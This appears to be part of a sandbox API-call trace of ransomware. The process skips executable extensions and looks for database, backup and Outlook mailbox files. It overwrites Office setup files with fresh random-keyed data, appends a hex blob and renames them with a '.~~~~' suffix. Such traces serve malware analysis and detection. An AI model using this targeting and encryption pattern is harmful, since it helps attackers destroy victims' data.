	[0080.996] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0080.996] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0080.996] CloseHandle (hObject=0x120) returned 1
	[0080.996] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xf0) returned 0x3a7108
	[0080.996] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml.~~~~")) returned 1
	[0080.998] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7108 | out: hHeap=0x300000) returned 1
	[0080.998] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0080.998] GetLastError () returned 0x0
	[0080.999] RtlWakeConditionVariable () returned 0x365f70
	[0080.999] GetCurrentThreadId () returned 0x9f4
	[0080.999] GetCurrentThreadId () returned 0x9f4
	[0080.999] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x27ff0d0
	[0080.999] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27ffc98 | out: hHeap=0x300000) returned 1
	[0080.999] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fa628 | out: hHeap=0x300000) returned 1
	[0080.999] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x27ffc98
	[0080.999] lstrlenW (lpString=".scr") returned 4
	[0080.999] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML", lpSrch=".scr") returned 0x0
	[0080.999] lstrlenW (lpString=".cmd") returned 4
	[0080.999] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML", lpSrch=".cmd") returned 0x0
	[0080.999] lstrlenW (lpString=".dll") returned 4
	[0080.999] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML", lpSrch=".dll") returned 0x0
	[0080.999] lstrlenW (lpString=".bat") returned 4
	[0080.999] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML", lpSrch=".bat") returned 0x0
	[0080.999] lstrlenW (lpString=".cpl") returned 4
	[0080.999] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML", lpSrch=".cpl") returned 0x0
	[0080.999] lstrlenW (lpString=".sys") returned 4
	[0080.999] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML", lpSrch=".sys") returned 0x0
	[0080.999] lstrlenW (lpString=".msc") returned 4
	[0080.999] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML", lpSrch=".msc") returned 0x0
	[0080.999] lstrlenW (lpString=".com") returned 4
	[0080.999] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML", lpSrch=".com") returned 0x0
	[0080.999] lstrlenW (lpString=".lnk") returned 4
	[0080.999] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML", lpSrch=".lnk") returned 0x0
	[0080.999] lstrlenW (lpString=".msp") returned 4
	[0080.999] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML", lpSrch=".msp") returned 0x0
	[0081.000] lstrlenW (lpString=".pif") returned 4
	[0081.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML", lpSrch=".pif") returned 0x0
	[0081.000] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0081.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML", lpSrch="msp\r\n.pif") returned 0x0
	[0081.000] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0081.001] lstrlenW (lpString=".sqb") returned 4
	[0081.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML", lpSrch=".sqb") returned 0x0
	[0081.001] lstrlenW (lpString=".ost") returned 4
	[0081.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML", lpSrch=".ost") returned 0x0
	[0081.001] lstrlenW (lpString=".txt") returned 4
	[0081.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML", lpSrch=".txt") returned 0x0
	[0081.001] lstrlenW (lpString=".mdt") returned 4
	[0081.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML", lpSrch=".mdt") returned 0x0
	[0081.001] lstrlenW (lpString=".BDB") returned 4
	[0081.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML", lpSrch=".BDB") returned 0x0
	[0081.001] lstrlenW (lpString=".eql") returned 4
	[0081.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML", lpSrch=".eql") returned 0x0
	[0081.001] lstrlenW (lpString=".DBF") returned 4
	[0081.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML", lpSrch=".DBF") returned 0x0
	[0081.001] lstrlenW (lpString=".EQL") returned 4
	[0081.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML", lpSrch=".EQL") returned 0x0
	[0081.001] lstrlenW (lpString=".FDB") returned 4
	[0081.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML", lpSrch=".FDB") returned 0x0
	[0081.001] lstrlenW (lpString=".EDB") returned 4
	[0081.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML", lpSrch=".EDB") returned 0x0
	[0081.001] lstrlenW (lpString=".DACPAC") returned 7
	[0081.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML", lpSrch=".DACPAC") returned 0x0
	[0081.001] lstrlenW (lpString=".VHD") returned 4
	[0081.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML", lpSrch=".VHD") returned 0x0
	[0081.002] lstrlenW (lpString=".DBV") returned 4
	[0081.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML", lpSrch=".DBV") returned 0x0
	[0081.002] lstrlenW (lpString=".dacpac") returned 7
	[0081.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML", lpSrch=".dacpac") returned 0x0
	[0081.002] lstrlenW (lpString=".sdf") returned 4
	[0081.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML", lpSrch=".sdf") returned 0x0
	[0081.002] lstrlenW (lpString=".accdb") returned 6
	[0081.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML", lpSrch=".accdb") returned 0x0
	[0081.002] lstrlenW (lpString=".DBX") returned 4
	[0081.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML", lpSrch=".DBX") returned 0x0
	[0081.002] lstrlenW (lpString=".MDT") returned 4
	[0081.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML", lpSrch=".MDT") returned 0x0
	[0081.002] lstrlenW (lpString=".SQB") returned 4
	[0081.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML", lpSrch=".SQB") returned 0x0
	[0081.002] lstrlenW (lpString=".vhd") returned 4
	[0081.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML", lpSrch=".vhd") returned 0x0
	[0081.002] lstrlenW (lpString=".bac") returned 4
	[0081.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML", lpSrch=".bac") returned 0x0
	[0081.002] lstrlenW (lpString=".mdf") returned 4
	[0081.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML", lpSrch=".mdf") returned 0x0
	[0081.002] lstrlenW (lpString=".BAK") returned 4
	[0081.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML", lpSrch=".BAK") returned 0x0
	[0081.002] lstrlenW (lpString=".BAC") returned 4
	[0081.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML", lpSrch=".BAC") returned 0x0
	[0081.002] lstrlenW (lpString=".dbs") returned 4
	[0081.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML", lpSrch=".dbs") returned 0x0
	[0081.002] lstrlenW (lpString=".vhdx") returned 5
	[0081.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML", lpSrch=".vhdx") returned 0x0
	[0081.002] lstrlenW (lpString=".NDF") returned 4
	[0081.003] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML", lpSrch=".NDF") returned 0x0
	[0081.003] lstrlenW (lpString=".dat") returned 4
	[0081.003] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML", lpSrch=".dat") returned 0x0
	[0081.003] lstrlenW (lpString=".DBS") returned 4
	[0081.003] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML", lpSrch=".DBS") returned 0x0
	[0081.003] lstrlenW (lpString=".CKP") returned 4
	[0081.003] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML", lpSrch=".CKP") returned 0x0
	[0081.003] lstrlenW (lpString=".edb") returned 4
	[0081.003] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML", lpSrch=".edb") returned 0x0
	[0081.003] lstrlenW (lpString=".PST") returned 4
	[0081.003] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML", lpSrch=".PST") returned 0x0
	[0081.003] lstrlenW (lpString=".dbf") returned 4
	[0081.003] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML", lpSrch=".dbf") returned 0x0
	[0081.003] lstrlenW (lpString=".SQL") returned 4
	[0081.003] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML", lpSrch=".SQL") returned 0x0
	[0081.003] lstrlenW (lpString=".pst") returned 4
	[0081.003] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML", lpSrch=".pst") returned 0x0
	[0081.003] lstrlenW (lpString=".dbv") returned 4
	[0081.003] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML", lpSrch=".dbv") returned 0x0
	[0081.003] lstrlenW (lpString=".SDF") returned 4
	[0081.003] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML", lpSrch=".SDF") returned 0x0
	[0081.003] lstrlenW (lpString=".dtxs") returned 5
	[0081.003] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML", lpSrch=".dtxs") returned 0x0
	[0081.003] lstrlenW (lpString=".db3") returned 4
	[0081.003] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML", lpSrch=".db3") returned 0x0
	[0081.004] lstrlenW (lpString=".OST") returned 4
	[0081.004] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML", lpSrch=".OST") returned 0x0
	[0081.004] lstrlenW (lpString=".dbx") returned 4
	[0081.004] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML", lpSrch=".dbx") returned 0x0
	[0081.004] lstrlenW (lpString=".DB3") returned 4
	[0081.004] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML", lpSrch=".DB3") returned 0x0
	[0081.004] lstrlenW (lpString=".DAT") returned 4
	[0081.004] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML", lpSrch=".DAT") returned 0x0
	[0081.004] lstrlenW (lpString=".VHDX") returned 5
	[0081.004] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML", lpSrch=".VHDX") returned 0x0
	[0081.004] lstrlenW (lpString=".ndf") returned 4
	[0081.004] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML", lpSrch=".ndf") returned 0x0
	[0081.004] lstrlenW (lpString=".DB") returned 3
	[0081.004] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML", lpSrch=".DB") returned 0x0
	[0081.004] lstrlenW (lpString=".sql") returned 4
	[0081.004] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML", lpSrch=".sql") returned 0x0
	[0081.004] lstrlenW (lpString=".MYD") returned 4
	[0081.004] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML", lpSrch=".MYD") returned 0x0
	[0081.004] lstrlenW (lpString=".DBT") returned 4
	[0081.004] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML", lpSrch=".DBT") returned 0x0
	[0081.004] lstrlenW (lpString=".ACCDB") returned 6
	[0081.004] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML", lpSrch=".ACCDB") returned 0x0
	[0081.004] lstrlenW (lpString=".fdb") returned 4
	[0081.004] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML", lpSrch=".fdb") returned 0x0
	[0081.004] lstrlenW (lpString=".bak") returned 4
	[0081.005] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML", lpSrch=".bak") returned 0x0
	[0081.005] lstrlenW (lpString=".myd") returned 4
	[0081.005] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML", lpSrch=".myd") returned 0x0
	[0081.005] lstrlenW (lpString=".DTXS") returned 5
	[0081.005] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML", lpSrch=".DTXS") returned 0x0
	[0081.005] lstrlenW (lpString=".ckp") returned 4
	[0081.005] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML", lpSrch=".ckp") returned 0x0
	[0081.005] lstrlenW (lpString=".dbt") returned 4
	[0081.005] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML", lpSrch=".dbt") returned 0x0
	[0081.005] lstrlenW (lpString=".db") returned 3
	[0081.005] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML", lpSrch=".db") returned 0x0
	[0081.005] lstrlenW (lpString=".TXT") returned 4
	[0081.005] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML", lpSrch=".TXT") returned 0x0
	[0081.005] lstrlenW (lpString=".MDF") returned 4
	[0081.005] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML", lpSrch=".MDF") returned 0x0
	[0081.005] lstrlenW (lpString=".bdb") returned 4
	[0081.005] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML", lpSrch=".bdb") returned 0x0
	[0081.005] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0081.005] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0081.005] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0081.005] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0081.005] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0081.006] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0081.006] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0081.006] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0081.006] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0081.006] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3ce910
	[0081.006] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20099656169) returned 1
	[0081.007] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9a236150, dwHighDateTime=0x1d60e1e)) 
	[0081.007] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0081.007] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0081.007] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0081.007] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fa628
	[0081.007] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0081.007] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fa628 | out: hHeap=0x300000) returned 1
	[0081.007] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0081.007] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0081.007] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b56f8
	[0081.007] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0081.007] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2160
	[0081.007] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b56f8 | out: hHeap=0x300000) returned 1
	[0081.007] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0081.007] GetLastError () returned 0x0
	[0081.007] GetLastError () returned 0x0
	[0081.007] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0081.008] GetLastError () returned 0x0
	[0081.008] GetLastError () returned 0x0
	[0081.008] ReadFile (in: hFile=0x120, lpBuffer=0x2824fd8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesRead=0x25dfec0*=0x106f, lpOverlapped=0x0) returned 1
	[0081.010] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffffef91, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0081.010] WriteFile (in: hFile=0x120, lpBuffer=0x2824fd8*, nNumberOfBytesToWrite=0x106f, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesWritten=0x25dfec0*=0x106f, lpOverlapped=0x0) returned 1
	[0081.010] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824fd8 | out: hHeap=0x300000) returned 1
	[0081.013] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.013] WriteFile (in: hFile=0x120, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0081.013] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0081.013] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0081.013] CloseHandle (hObject=0x120) returned 1
	[0081.013] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xf0) returned 0x3a7108
	[0081.013] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml.~~~~")) returned 1
	[0081.014] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7108 | out: hHeap=0x300000) returned 1
	[0081.014] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0081.014] GetLastError () returned 0x0
	[0081.014] RtlWakeConditionVariable () returned 0x365f70
	[0081.014] GetCurrentThreadId () returned 0x9f4
	[0081.014] GetCurrentThreadId () returned 0x9f4
	[0081.014] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x27ff0d0
